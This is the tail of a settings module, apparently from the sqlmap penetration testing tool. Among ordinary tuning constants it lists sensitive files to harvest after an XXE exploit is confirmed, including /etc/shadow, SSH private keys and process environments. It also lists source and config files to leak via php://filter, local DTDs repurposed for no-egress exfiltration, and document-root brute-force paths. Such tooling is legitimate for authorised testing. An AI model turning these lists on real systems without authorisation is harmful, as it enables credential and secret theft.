# automatic dumping the other non-SQL engines perform. Kept small and high-signal (each
# entry costs 1-2 requests); best-effort, so unreadable/absent files are silently
# skipped. Unlike XXE_IMPACT_FILES (a benign PRE-confirmation impact probe that avoids
# WAF-honeypot paths) this runs only AFTER confirmation, so sensitive paths are
# appropriate. Skipped when the user gave an explicit '--file-read' (that targeted
# request is honoured verbatim instead).
XXE_FILE_HARVEST = (
    "/etc/passwd",
    "/etc/hostname",
    "/etc/hosts",
    "/etc/os-release",
    "/etc/shadow",
    "/etc/group",
    "/proc/self/environ",
    "/proc/self/cmdline",
    "/proc/self/status",
    "/proc/version",
    "/root/.bash_history",
    "/root/.ssh/id_rsa",
    "/flag",
    "/flag.txt",
    "c:/windows/win.ini",
    "c:/windows/system32/drivers/etc/hosts",
    "c:/inetpub/wwwroot/web.config",
)

# Application web roots + source filenames used, once php://filter is available, to
# disclose server-side SOURCE code (which is executed and never rendered, yet leaks its
# literals - credentials, tokens, embedded secrets - verbatim through the base64 filter
# wrapper). Combined with the running script derived from harvested /proc/self/{cmdline,
# environ}. Best-effort and bounded.
XXE_WEBROOTS = ("/var/www/html", "/var/www", "/app", "/usr/src/app", "/srv/app")
XXE_SOURCE_NAMES = (
    "index.php", "config.php", "config.inc.php", "secret.php",
    "db.php", "database.php", "settings.php", "init.php", "functions.php",
    "app.py", "server.py", "main.py", "wp-config.php", ".env",
)

# GoSecure dtd-finder local-DTD repurposing table for no-egress error-based XXE:
# an on-disk DTD is loaded, one of its parameter entities is redefined to smuggle
# an error/exfil primitive, so no outbound network is needed. (path, entity_name).
# Windows paths are community-sourced and remain UNVERIFIED vendor-side.
XXE_LOCAL_DTDS = (
    ("file:///usr/share/yelp/dtd/docbookx.dtd", "ISOamso"),                       # GNOME yelp - reliably repurposable
    ("file:///usr/share/xml/docbook/schema/dtd/4.5/docbookx.dtd", "ISOamso"),     # docbook package
    ("file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd", "connection"),
    ("file:///usr/share/xml/fontconfig/fonts.dtd", "constant"),                   # widespread but gadget is version-fragile
    ("file:///C:/Windows/System32/wbem/cim20.dtd", "SuperClass"),                 # Windows paths community-sourced, UNVERIFIED
    ("file:///C:/Windows/System32/wbem/wmi20.dtd", "extension"),
    ("file:///C:/Windows/System32/xwizards/xwizard.dtd", "ELEMENT"),
    ("jar:file:///usr/share/java/lotus-domino.jar!/schema/domino.dtd", "abbr"),
)

# Length of prefix and suffix used in non-SQLI heuristic checks
NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6

# Connection read size (processing large responses in parts to avoid MemoryError crashes - e.g. large table dump in full UNION injections)
MAX_CONNECTION_READ_SIZE = 10 * 1024 * 1024

# Maximum response total page size (trimmed if larger)
MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024

# Maximum number of requests served over a single persistent (Keep-Alive) connection before it is recycled
KEEPALIVE_MAX_REQUESTS = 1000

# Maximum idle time (in seconds) a pooled persistent (Keep-Alive) connection is considered reusable before being recycled
KEEPALIVE_IDLE_TIMEOUT = 30

# For preventing MemoryError exceptions (caused when using large sequences in difflib.SequenceMatcher)
MAX_DIFFLIB_SEQUENCE_LENGTH = 10 * 1024 * 1024

# Page size threshold used in heuristic checks (e.g. getHeuristicCharEncoding(), htmlParser, etc.)
HEURISTIC_PAGE_SIZE_THRESHOLD = 64 * 1024

# Maximum (multi-threaded) length of entry in bisection algorithm
MAX_BISECTION_LENGTH = 50 * 1024 * 1024

# Mark used for trimming unnecessary content in large connection reads
LARGE_READ_TRIM_MARKER = "__TRIMMED_CONTENT__"

# Generic SQL comment formation
GENERIC_SQL_COMMENT = "-- [RANDSTR]"

# Threshold value for turning back on time auto-adjustment mechanism
VALID_TIME_CHARS_RUN_THRESHOLD = 100

# Check for empty columns only if table is sufficiently large
CHECK_ZERO_COLUMNS_THRESHOLD = 10

# Boldify all logger messages containing these "patterns"
BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than", "connection to ", "will be trimmed", "counterpart to database")

# Regular expression used to search for bold-patterns
BOLD_PATTERNS_REGEX = '|'.join(BOLD_PATTERNS)

# TLDs used in randomization of email-alike parameter values
RANDOMIZATION_TLDS = ("com", "net", "ru", "org", "de", "uk", "br", "jp", "cn", "fr", "it", "pl", "tv", "edu", "in", "ir", "es", "me", "info", "gr", "gov", "ca", "co", "se", "cz", "to", "vn", "nl", "cc", "az", "hu", "ua", "be", "no", "biz", "io", "ch", "ro", "sk", "eu", "us", "tw", "pt", "fi", "at", "lt", "kz", "cl", "hr", "pk", "lv", "la", "pe", "au")

# Generic www root directory names
GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "public_html", "wwwroot", "www", "site")

# Maximum length of a help part containing switch/option name(s)
MAX_HELP_OPTION_LENGTH = 18

# Maximum number of connection retries (to prevent problems with recursion)
MAX_CONNECT_RETRIES = 100

# Strings for detecting formatting errors
FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "Attribute validation error for tag", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException", "Arguments are of the wrong type", "Invalid conversion", "Incorrect integer value", "Truncated incorrect", "Out of range value", "datatype mismatch")

# Regular expression used for extracting ASP.NET view state values
VIEWSTATE_REGEX = r'(?i)(?P<name>__VIEWSTATE[^"]*)[^>]+value="(?P<result>[^"]+)'

# Regular expression used for extracting ASP.NET event validation values
EVENTVALIDATION_REGEX = r'(?i)(?P<name>__EVENTVALIDATION[^"]*)[^>]+value="(?P<result>[^"]+)'

# Number of rows to generate inside the full union test for limited output (mustn't be too large to prevent payload length problems)
LIMITED_ROWS_TEST_NUMBER = 15

# Default adapter to use for bottle server
RESTAPI_DEFAULT_ADAPTER = "wsgiref"

# REST API / scan-data contract version (semantic versioning), INDEPENDENT of the sqlmap version.
# Bump MAJOR for breaking changes (removed/renamed field, changed type, restructured response),
# MINOR for additive backward-compatible changes (new field/endpoint), PATCH for non-contract fixes.
# Exposed at GET /version (as "api_version"), in the --report-json "meta", and as the OpenAPI
# info.version (keep sqlmapapi.yaml in sync). Maintained by hand when the contract changes.
# 2.0.0: first explicitly-versioned contract; a MAJOR break from the old implicit shape
# (TECHNIQUES is now a named list, DUMP_TABLE restructured, internal fields dropped, type_name added).
RESTAPI_VERSION = "2.0.0"

# Default REST API server listen address
RESTAPI_DEFAULT_ADDRESS = "127.0.0.1"

# Default REST API server listen port
RESTAPI_DEFAULT_PORT = 8775

# Unsupported options by REST API server
RESTAPI_UNSUPPORTED_OPTIONS = ("sqlShell", "wizard", "evalCode", "alert", "reportJson")

# Use "Supplementary Private Use Area-A"
INVALID_UNICODE_PRIVATE_AREA = False

# Format used for representing invalid unicode characters
INVALID_UNICODE_CHAR_FORMAT = r"\x%02x"

# Regular expression for XML POST data
XML_RECOGNITION_REGEX = r"(?s)\A\s*<[^>]+>(.+>)?\s*\Z"

# Regular expression used for detecting JSON POST data
JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|-?\d+(?:\.\d+)?|true|false|null|\[|\{).*\}\s*(\]\s*)*\Z'

# Regular expression used for detecting JSON-like POST data
JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*('[^']+'|\"[^\"]+\"|\w+)\s*:\s*('[^']+'|\"[^\"]+\"|-?\d+(?:\.\d+)?|\{).*\}\s*(\]\s*)*\Z"

# Regular expression used for detecting multipart POST data
MULTIPART_RECOGNITION_REGEX = r"(?i)Content-Disposition:[^;]+;\s*name="

# Regular expression used for detecting Array-like POST data
ARRAY_LIKE_RECOGNITION_REGEX = r"(\A|%s)(\w+)\[\d*\]=.+%s\2\[\d*\]=" % (DEFAULT_GET_POST_DELIMITER, DEFAULT_GET_POST_DELIMITER)

# Default POST data content-type
DEFAULT_CONTENT_TYPE = "application/x-www-form-urlencoded; charset=utf-8"

# Raw text POST data content-type
PLAIN_TEXT_CONTENT_TYPE = "text/plain; charset=utf-8"

# Length used while checking for existence of Suhosin-patch (like) protection mechanism
SUHOSIN_MAX_VALUE_LENGTH = 512

# Minimum size of an (binary) entry before it can be considered for dumping to disk
MIN_BINARY_DISK_DUMP_SIZE = 100

# Filenames of payloads xml files (in order of loading)
PAYLOAD_XML_FILES = ("boolean_blind.xml", "error_based.xml", "inline_query.xml", "stacked_queries.xml", "time_blind.xml", "union_query.xml")

# Regular expression used for extracting form tags
FORM_SEARCH_REGEX = r"(?si)<form(?!.+<form).+?</form>"

# Maximum number of lines to save in history file
MAX_HISTORY_LENGTH = 1000

# Minimum field entry length needed for encoded content (hex, base64,...) check
MIN_ENCODED_LEN_CHECK = 5

# Timeout in seconds in which Metasploit remote session has to be initialized
METASPLOIT_SESSION_TIMEOUT = 180

# Reference: http://www.postgresql.org/docs/9.0/static/catalog-pg-largeobject.html
LOBLKSIZE = 2048

# Prefix used to mark special variables (e.g. keywords, having special chars, etc.)
EVALCODE_ENCODED_PREFIX = "EVAL_"

# Reference: https://en.wikipedia.org/wiki/Zip_(file_format)
ZIP_HEADER = b"\x50\x4b\x03\x04"

# Reference: http://www.cookiecentral.com/faq/#3.5
NETSCAPE_FORMAT_HEADER_COOKIES = "# Netscape HTTP Cookie File."

# Infixes used for automatic recognition of parameters carrying anti-CSRF tokens
CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf", "token", "nonce")

# Prefixes used in brute force search for web server document root
BRUTE_DOC_ROOT_PREFIXES = {
    OS.LINUX: ("/var/www", "/usr/local/apache", "/usr/local/apache2", "/usr/local/www/apache22", "/usr/local/www/apache24", "/usr/local/httpd", "/var/www/nginx-default", "/usr/share/nginx/html", "/srv/www", "/srv/http", "/var/www/%TARGET%", "/var/www/vhosts/%TARGET%", "/var/www/virtual/%TARGET%", "/var/www/clients/vhosts/%TARGET%", "/var/www/clients/virtual/%TARGET%", "/Library/WebServer/Documents", "/opt/homebrew/var/www"),
    OS.WINDOWS: ("/xampp", "/Program Files/xampp", "/wamp", "/Program Files/wampp", "/Apache/Apache", "/apache", "/Program Files/Apache Group/Apache", "/Program Files/Apache Group/Apache2", "/Program Files/Apache Group/Apache2.2", "/Program Files/Apache Group/Apache2.4", "/Inetpub/wwwroot", "/Inetpub/wwwroot/%TARGET%", "/Inetpub/vhosts/%TARGET%")
}

# Suffixes used in brute force search for web server document root
BRUTE_DOC_ROOT_SUFFIXES = ("", "html", "htdocs", "httpdocs", "php", "public", "public_html", "src", "site", "build", "web", "www", "data", "sites/all", "www/build")

# String used for marking target name inside used brute force web server document root
BRUTE_DOC_ROOT_TARGET_MARK = "%TARGET%"

# Character used as a boundary in kb.chars (preferably less frequent letter)
KB_CHARS_BOUNDARY_CHAR = 'q'

# Letters of lower frequency used in kb.chars
KB_CHARS_LOW_FREQUENCY_ALPHABET = "zqxjkvbp"

# Printable bytes
PRINTABLE_BYTES = set(bytes(string.printable, "ascii") if six.PY3 else string.printable)

# SQL keywords used for splitting in HTTP chunked transfer encoded requests (switch --chunk)
HTTP_CHUNKED_SPLIT_KEYWORDS = ("SELECT", "UPDATE", "INSERT", "FROM", "LOAD_FILE", "UNION", "information_schema", "sysdatabases", "msysaccessobjects", "msysqueries", "sysmodules")

# CSS style used in HTML dump format
HTML_DUMP_CSS_STYLE = """<style>
table{
    margin:10;
    background-color:#FFFFFF;
    font-family:verdana;
    font-size:12px;
    align:center;
}
thead{
    font-weight:bold;
    background-color:#4F81BD;
    color:#FFFFFF;
}
tr:nth-child(even) {
    background-color: #D3DFEE
}
td{
    font-size:12px;
}
th{
    font-size:12px;
    cursor:pointer;
}
</style>"""

# Leaving (dirty) possibility to change values from here (e.g. `export SQLMAP__MAX_NUMBER_OF_THREADS=20`).
#
# NOTE the SECOND underscore is deliberate and must stay. sqlmap scans os.environ TWICE, for two
# different things: this loop binds settings CONSTANTS at import, while `_mergeOptions` (option.py)
# binds conf OPTIONS at boot, matching `SQLMAP_<OPTION>` against optDict - that is how `SQLMAP_DBMS=mysql`
# acts as '--dbms=mysql'. The extra underscore is what keeps the two from reading each other's variables,
# and they really would collide: `DBMS` and `OS` name both a conf option and a global bound here (the
# enum classes), so on a single underscore `SQLMAP_DBMS=mysql` would set '--dbms' AND rebind the DBMS
# enum class to the string "mysql". So: `SQLMAP_<option>` sets an option, `SQLMAP__<CONSTANT>` a constant.
for key, value in os.environ.items():
    if key.upper().startswith("%s_" % SQLMAP_ENVIRONMENT_PREFIX):
        _ = key[len(SQLMAP_ENVIRONMENT_PREFIX) + 1:].upper()
        if _ in globals():
            original = globals()[_]
            if isinstance(original, bool):
                globals()[_] = value.lower() in ('1', 'true')
            elif isinstance(original, int):
                try:
                    globals()[_] = int(value)
                except ValueError:
                    pass
            elif isinstance(original, float):
                try:
                    globals()[_] = float(value)
                except ValueError:
                    pass
            elif isinstance(original, (list, tuple)):
                globals()[_] = [__.strip() for __ in value.split(',')]
            elif isinstance(original, six.string_types):
                globals()[_] = value
            # anything else (dict, frozenset, enum class, compiled regex) is left alone: a raw string is
            # not a usable substitute for one, and swapping it in fails far from here and silently - a
            # frozenset turned into a string still answers `in`, just by substring
